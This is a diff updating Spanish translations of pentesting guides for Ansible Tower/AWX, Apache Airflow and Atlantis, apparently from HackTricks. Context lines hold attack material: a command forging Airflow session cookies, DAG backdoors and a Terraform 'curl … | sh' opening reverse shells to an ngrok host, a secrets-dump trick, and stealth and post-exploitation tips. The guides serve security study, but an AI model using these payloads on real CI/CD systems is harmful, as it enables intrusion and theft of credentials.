Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md

@@ -1,4 +1,4 @@
-# Ansible Tower / AWX / Seguridad del controlador de automatización
+# Seguridad de Ansible Tower / AWX / Controlador de Automatización
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,11 +6,11 @@
 
 **Ansible Tower** o su versión de código abierto [**AWX**](https://github.com/ansible/awx) también se conoce como **la interfaz de usuario, el panel de control y la API REST de Ansible**. Con **control de acceso basado en roles**, programación de trabajos y gestión gráfica de inventarios, puedes gestionar tu infraestructura de Ansible desde una interfaz moderna. La API REST de Tower y la interfaz de línea de comandos facilitan su integración en herramientas y flujos de trabajo actuales.
 
-**El Controlador de Automatización es una versión más nueva** de Ansible Tower con más capacidades.
+**El Controlador de Automatización es una versión** más nueva de Ansible Tower con más capacidades.
 
 ### Diferencias
 
-Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para API personalizadas y flujos de trabajo definidos por el usuario.
+Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para APIs personalizadas y flujos de trabajo definidos por el usuario.
 
 ### Stack Tecnológico
 
@@ -29,7 +29,7 @@ Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
 - **Motor de Tareas**: Aquí es donde ocurre la magia. El motor de tareas está construido sobre Ansible y es responsable de **ejecutar los playbooks**. Los trabajos se envían al motor de tareas, que luego ejecuta los playbooks de Ansible contra el inventario designado utilizando las credenciales especificadas.
 - **Programadores y Retornos de Llamada**: Estas son características avanzadas en AWX/Tower que permiten **programar trabajos** para que se ejecuten en momentos específicos o se activen por eventos externos.
 - **Notificaciones**: AWX/Tower puede enviar notificaciones basadas en el éxito o fracaso de los trabajos. Soporta varios medios de notificación como correos electrónicos, mensajes de Slack, webhooks, etc.
-- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escritos en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse.
+- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escrito en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse.
 
 ### Flujo de Ejecución de Trabajos
 
@@ -37,7 +37,7 @@ Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
 2. **Iniciación del Trabajo**:
 - El usuario, a través de la Interfaz Web o API, inicia un trabajo basado en una **Plantilla de Trabajo**.
 - La Plantilla de Trabajo incluye referencias al **Inventario**, **Proyecto** (que contiene el playbook) y **Credenciales**.
-- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner el trabajo en cola para su ejecución.
+- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner en cola el trabajo para su ejecución.
 3. **Colocación en Cola del Trabajo**:
 - **RabbitMQ** maneja la mensajería entre el componente web y los ejecutores de tareas. Una vez que se inicia un trabajo, se envía un mensaje al motor de tareas utilizando RabbitMQ.
 - **Redis** actúa como el backend para la cola de tareas, gestionando los trabajos en cola que esperan ejecución.
@@ -103,34 +103,34 @@ Desde una revisión de **seguridad de caja blanca**, necesitarías el **rol de A
 3. **Roles de Organización**:
 - **Admin**: Control total sobre los recursos de la organización.
 - **Auditor**: Acceso solo de lectura a los recursos de la organización.
-- **Miembro**: Membresía básica en una organización sin permisos específicos.
-- **Ejecutar**: Puede ejecutar plantillas de trabajo dentro de la organización.
-- **Leer**: Puede ver los recursos de la organización.
+- **Member**: Membresía básica en una organización sin permisos específicos.
+- **Execute**: Puede ejecutar plantillas de trabajo dentro de la organización.
+- **Read**: Puede ver los recursos de la organización.
 4. **Roles de Proyecto**:
 - **Admin**: Puede gestionar y modificar el proyecto.
-- **Usar**: Puede usar el proyecto en una plantilla de trabajo.
-- **Actualizar**: Puede actualizar el proyecto usando SCM (control de versiones).
+- **Use**: Puede usar el proyecto en una plantilla de trabajo.
+- **Update**: Puede actualizar el proyecto usando SCM (control de versiones).
 5. **Roles de Inventario**:
 - **Admin**: Puede gestionar y modificar el inventario.
 - **Ad Hoc**: Puede ejecutar comandos ad hoc en el inventario.
-- **Actualizar**: Puede actualizar la fuente del inventario.
-- **Usar**: Puede usar el inventario en una plantilla de trabajo.
-- **Leer**: Acceso solo de lectura.
+- **Update**: Puede actualizar la fuente del inventario.
+- **Use**: Puede usar el inventario en una plantilla de trabajo.
+- **Read**: Acceso solo de lectura.
 6. **Roles de Plantilla de Trabajo**:
 - **Admin**: Puede gestionar y modificar la plantilla de trabajo.
-- **Ejecutar**: Puede ejecutar el trabajo.
-- **Leer**: Acceso solo de lectura.
+- **Execute**: Puede ejecutar el trabajo.
+- **Read**: Acceso solo de lectura.
 7. **Roles de Credenciales**:
 - **Admin**: Puede gestionar y modificar las credenciales.
-- **Usar**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes.
-- **Leer**: Acceso solo de lectura.
+- **Use**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes.
+- **Read**: Acceso solo de lectura.
 8. **Roles de Equipo**:
-- **Miembro**: Parte del equipo pero sin permisos específicos.
+- **Member**: Parte del equipo pero sin permisos específicos.
 - **Admin**: Puede gestionar a los miembros del equipo y los recursos asociados.
 9. **Roles de Flujo de Trabajo**:
 - **Admin**: Puede gestionar y modificar el flujo de trabajo.
-- **Ejecutar**: Puede ejecutar el flujo de trabajo.
-- **Leer**: Acceso solo de lectura.
+- **Execute**: Puede ejecutar el flujo de trabajo.
+- **Read**: Acceso solo de lectura.
 
 </details>
 

src/pentesting-ci-cd/apache-airflow-security/README.md

@@ -12,7 +12,7 @@ Básicamente, Apache Airflow te permitirá **programar la ejecución de código
 
 #### Docker-Compose
 
-Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno docker completo de apache airflow. (Si estás en MacOS, asegúrate de darle al menos 6GB de RAM a la VM de docker).
+Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno completo de docker de apache airflow. (Si estás en MacOS asegúrate de darle al menos 6GB de RAM a la VM de docker).
 
 #### Minikube
 
@@ -46,13 +46,13 @@ airflow-rbac.md
 
 #### Enumeración de la Consola Web
 
-Si tienes **acceso a la consola web**, podrías acceder a parte o toda la siguiente información:
+Si tienes **acceso a la consola web**, podrías ser capaz de acceder a parte o toda la siguiente información:
 
 - **Variables** (Información sensible personalizada podría estar almacenada aquí)
 - **Conexiones** (Información sensible personalizada podría estar almacenada aquí)
-- Acceder a ellas en `http://<airflow>/connection/list/`
+- Accede a ellas en `http://<airflow>/connection/list/`
 - [**Configuración**](./#airflow-configuration) (Información sensible como el **`secret_key`** y contraseñas podría estar almacenada aquí)
-- Listar **usuarios y roles**
+- Lista de **usuarios y roles**
 - **Código de cada DAG** (que podría contener información interesante)
 
 #### Recuperar Valores de Variables
@@ -70,13 +70,13 @@ Otra forma es realizar un **bruteforce** al **valor oculto** utilizando el **fil
 
 #### Escalación de Privilegios
 
-Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con este válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**.
+Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con esto válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**.
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
 #### DAG Backdoor (RCE en el trabajador de Airflow)
 
-Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes simplemente **crear uno** que te enviará un **reverse shell.**\
+Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes **crear uno** que te enviará un **reverse shell.**\
 Ten en cuenta que este reverse shell se ejecutará dentro de un **contenedor de trabajador de airflow**:
 ```python
 import pendulum
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
 ```
 #### DAG Backdoor (RCE en el programador de Airflow)
 
-Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de colocarlo dentro de la carpeta del DAG.
+Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de haberlo colocado dentro de la carpeta del DAG.
 ```python
 import pendulum, socket, os, pty
 from airflow import DAG
@@ -148,7 +148,7 @@ Si logras **comprometer una máquina dentro del clúster DAG**, puedes crear nue
 
 #### Inyección de Código en DAG
 
-Cuando ejecutas un DAG desde la GUI puedes **pasar argumentos** a él.\
+Cuando ejecutas un DAG desde la GUI, puedes **pasar argumentos** a él.\
 Por lo tanto, si el DAG no está correctamente codificado, podría ser **vulnerable a Inyección de Comandos.**\
 Eso es lo que ocurrió en este CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
 

src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md

@@ -52,7 +52,7 @@ Algunos valores interesantes para verificar al leer el archivo de configuración
 
 ### \[dask]
 
-- **`tls_ca`**: Ruta a ca
+- **`tls_ca`**: Ruta al ca
 - **`tls_cert`**: Ruta al cert
 - **`tls_key`**: Ruta a la clave tls
 
@@ -92,7 +92,7 @@ Por defecto, la **autenticación web** se especifica en el archivo **`webserver_
 ```bash
 AUTH_TYPE = AUTH_DB
 ```
-Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, otras configuraciones son posibles como
+Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, son posibles otras configuraciones como
 ```bash
 AUTH_TYPE = AUTH_OAUTH
 ```

src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md

@@ -6,13 +6,13 @@
 
 (De la documentación)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow se envía con un **conjunto de roles por defecto**: **Admin**, **User**, **Op**, **Viewer** y **Public**. **Solo los usuarios `Admin`** pueden **configurar/alterar los permisos para otros roles**. Pero no se recomienda que los usuarios `Admin` alteren estos roles predeterminados de ninguna manera, eliminando o agregando permisos a estos roles.
 
-- **Los usuarios `Admin`** tienen todos los permisos posibles.
-- **Los usuarios `Public`** (anónimos) no tienen ningún permiso.
-- **Los usuarios `Viewer`** tienen permisos limitados de visualización (solo lectura). **No pueden ver la configuración.**
-- **Los usuarios `User`** tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. **Pueden ver el archivo de configuración.**
-- **Los usuarios `Op`** tienen permisos de `User` más permisos adicionales de operación.
+- **`Admin`** los usuarios tienen todos los permisos posibles.
+- **`Public`** los usuarios (anónimos) no tienen ningún permiso.
+- **`Viewer`** los usuarios tienen permisos limitados de visualización (solo lectura). **No puede ver la configuración.**
+- **`User`** los usuarios tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. Él **puede ver el archivo de configuración.**
+- **`Op`** los usuarios tienen permisos de `User` más permisos adicionales de operación.
 
-Tenga en cuenta que **los usuarios admin** pueden **crear más roles** con más **permisos granulares**.
+Tenga en cuenta que los usuarios **admin** pueden **crear más roles** con más **permisos granulares**.
 
 También tenga en cuenta que el único rol predeterminado con **permiso para listar usuarios y roles es Admin, ni siquiera Op** podrá hacer eso.
 

src/pentesting-ci-cd/atlantis-security.md

@@ -2,24 +2,24 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-### Basic Information
+### Información Básica
 
 Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git.
 
 ![](<../images/image (161).png>)
 
-### Local Lab
+### Laboratorio Local
 
-1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que te convenga.
+1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que más te convenga.
 2. Crea un **token personal** (con acceso a repos) de tu usuario de **github**.
 3. Ejecuta `./atlantis testdrive` y se creará un **repositorio de demostración** que puedes usar para **hablar con atlantis**.
 1. Puedes acceder a la página web en 127.0.0.1:4141.
 
-### Atlantis Access
+### Acceso a Atlantis
 
-#### Git Server Credentials
+#### Credenciales del Servidor Git
 
-**Atlantis** soporta varios hosts de git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\
+**Atlantis** soporta varios hosts git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\
 Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún **acceso privilegiado concedido a ellos** (al menos permisos de escritura).\
 [**Los docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales.
 
@@ -37,7 +37,7 @@ Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, ne
 > [!WARNING]
 > Atlantis va a estar **exponiendo webhooks** para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber **si puedes enviarle mensajes**.
 
-#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
+#### Credenciales del Proveedor <a href="#provider-credentials" id="provider-credentials"></a>
 
 [De los docs:](https://www.runatlantis.io/docs/provider-credentials.html)
 
@@ -56,13 +56,13 @@ Depende de ti cómo [proporcionar credenciales](https://www.runatlantis.io/docs/
 > [!WARNING]
 > El **contenedor** donde **Atlantis** está **ejecutándose** probablemente **contendrá credenciales privilegiadas** para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform.
 
-#### Web Page
+#### Página Web
 
-Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar atlantis apply y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).
+Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar la aplicación de atlantis y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).
 
 Probablemente no la encuentres expuesta a Internet, pero parece que por defecto **no se necesitan credenciales** para acceder a ella (y si las hay, `atlantis`:`atlantis` son las **predeterminadas**).
 
-### Server Configuration
+### Configuración del Servidor
 
 La configuración para `atlantis server` puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres.
 
@@ -78,18 +78,18 @@ Los valores se **eligen en este orden**:
 > [!WARNING]
 > Ten en cuenta que en la configuración podrías encontrar valores interesantes como **tokens y contraseñas**.
 
-#### Repos Configuration
+#### Configuración de Repos
 
 Algunas configuraciones afectan **cómo se gestionan los repos**. Sin embargo, es posible que **cada repo requiera configuraciones diferentes**, por lo que hay formas de especificar cada repo. Este es el orden de prioridad:
 
 1. Archivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan.
 1. Probablemente requerido ser permitido por flags como `allowed_overrides` o `allow_custom_workflows`.
-2. [**Configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
+2. [**Configuración del Lado del Servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
 3. Valores **predeterminados**.
 
-**PR Protections**
+**Protecciones de PR**
 
-Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.
+Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de la rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.
 
 En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **sobrescritas en cada proyecto por el archivo `/atlantis.yml`**.
 
@@ -97,12 +97,12 @@ En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **
 
 La configuración del repo puede **especificar scripts** para ejecutar [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pre flujo de trabajo_) y [**después**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de post flujo de trabajo_) de que se ejecute un **flujo de trabajo**.
 
-No hay ninguna opción para permitir **especificar** estos scripts en el **archivo de repo `/atlantis.yml`**.
+No hay ninguna opción para permitir **especificar** estos scripts en el **archivo `/atlantis.yml`** del repo.
 
-**Workflow**
+**Flujo de Trabajo**
 
 En la configuración del repo (configuración del lado del servidor) puedes [**especificar un nuevo flujo de trabajo predeterminado**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**crear nuevos flujos de trabajo personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** También puedes **especificar** qué **repos** pueden **acceder** a los **nuevos** generados.\
-Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar.**
+Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar**.
 
 > [!CAUTION]
 > Si el flag de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurado en **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repo. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.\
@@ -124,7 +124,7 @@ Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifiq
 >   steps: - run: my custom apply command
 > ```
 
-**Conftest Policy Checking**
+**Verificación de Políticas de Conftest**
 
 Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**](https://www.conftest.dev/) contra la salida del plan. Los casos de uso comunes para usar este paso incluyen:
 
@@ -135,7 +135,7 @@ Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**]
 
 Puedes consultar cómo configurarlo en [**los docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
 
-### Atlantis Commands
+### Comandos de Atlantis
 
 [**En los docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puedes encontrar las opciones que puedes usar para ejecutar Atlantis:
 ```bash
@@ -170,7 +170,7 @@ Puedes solucionarlo ejecutando:
 atlantis unlock #You might need to run this in a different PR
 atlantis plan -- -lock=false
 ```
-#### Atlantis plan RCE - Modificación de configuración en una nueva PR
+#### Atlantis plan RCE - Modificación de configuración en nueva PR
 
 Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis plan`** (o tal vez se ejecute automáticamente) **podrás RCE dentro del servidor de Atlantis**.
 
@@ -192,8 +192,8 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
 ```
 Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-- En el recurso externo, utiliza la característica **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **En lugar de** crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**.
+- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **En lugar** de crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**.
 
 #### Atlantis plan Secrets Dump
 
@@ -203,7 +203,7 @@ output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-#### Atlantis apply RCE - Modificación de configuración en nueva PR
+#### Atlantis aplicar RCE - Modificación de configuración en nueva PR
 
 Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis apply`, podrás RCE dentro del servidor de Atlantis**.
 
@@ -211,7 +211,7 @@ Sin embargo, generalmente necesitarás eludir algunas protecciones:
 
 - **Mergeable**: Si esta protección está configurada en Atlantis, solo podrás ejecutar **`atlantis apply` si la PR es mergeable** (lo que significa que la protección de rama debe ser eludida).
 - Verifica posibles [**elusiones de protecciones de rama**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply`
+- **Aprobado**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply`
 - Por defecto, puedes abusar del [**token de Gitbot para eludir esta protección**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
 
 Ejecutando **`terraform apply` en un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
@@ -231,7 +231,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una manera **más sigilosa**.
+Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa**.
 
 #### Inyección de Parámetros de Terraform
 
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
 atlantis apply -- <terraform commands>
 atlantis apply -- -h #Get terraform apply help
 ```
-Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Consulta las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Revisa las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
 
 #### Flujo de trabajo personalizado
 
@@ -251,7 +251,7 @@ Ejecutando **comandos de construcción personalizados maliciosos** especificados
 Esta posibilidad se mencionó en una sección anterior:
 
 > [!CAUTION]
-> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el **archivo `atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.
+> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.
 >
 > Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio**.
 >
@@ -280,29 +280,29 @@ repos:
 - id: /.*/
 apply_requirements: []
 ```
-#### PR Hijacking
+#### Secuestro de PR
 
 Si alguien envía **`atlantis plan/apply` comentarios en tus pull requests válidos,** hará que terraform se ejecute cuando no lo desees.
 
-Además, si no tienes configurado en la **protección de ramas** para pedir **reevaluar** cada PR cuando se **empuja un nuevo commit** a ella, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE.
+Además, si no tienes configurado en la **protección de ramas** que se pida **reevaluar** cada PR cuando se **empuja un nuevo commit** a él, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE.
 
 Esta es la **configuración** en las protecciones de ramas de Github:
 
 ![](<../images/image (216).png>)
 
-#### Webhook Secret
+#### Secreto del Webhook
 
-Si logras **robar el webhook secret** utilizado o si **no hay ningún webhook secret** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente.
+Si logras **robar el secreto del webhook** utilizado o si **no hay ningún secreto de webhook** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente.
 
 #### Bitbucket
 
-Bitbucket Cloud **no soporta webhook secrets**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket.
+Bitbucket Cloud **no soporta secretos de webhook**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket.
 
 - Esto significa que un **atacante** podría hacer **solicitudes falsas a Atlantis** que parecen provenir de Bitbucket.
 - Si estás especificando `--repo-allowlist`, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos.
-- Para prevenir esto, permite [las direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes).
+- Para prevenir esto, permite las [direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes).
 
-### Post-Exploitation
+### Post-Explotación
 
 Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer:
 
@@ -313,15 +313,15 @@ Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas i
 - `/proc/1/environ` Variables de entorno
 - `/proc/[2-20]/cmdline` Línea de comandos de `atlantis server` (puede contener datos sensibles)
 
-### Mitigations
+### Mitigaciones
 
-#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
+#### No Usar en Repos Públicos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
 
-Porque cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.
+Debido a que cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.
 
-#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
+#### No Usar `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
 
-Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba) no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.
+Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba), no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.
 
 #### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
 
@@ -330,41 +330,41 @@ Atlantis requiere que especifiques una lista permitida de repositorios de los qu
 - Repositorios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
 - Tu organización completa: `--repo-allowlist=github.com/runatlantis/*`
 - Cada repositorio en tu instalación de GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
-- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un webhook secret.
+- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un secreto de webhook.
 
 Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta `atlantis server --help` para más detalles.
 
-#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
+#### Proteger la Planificación de Terraform <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
 
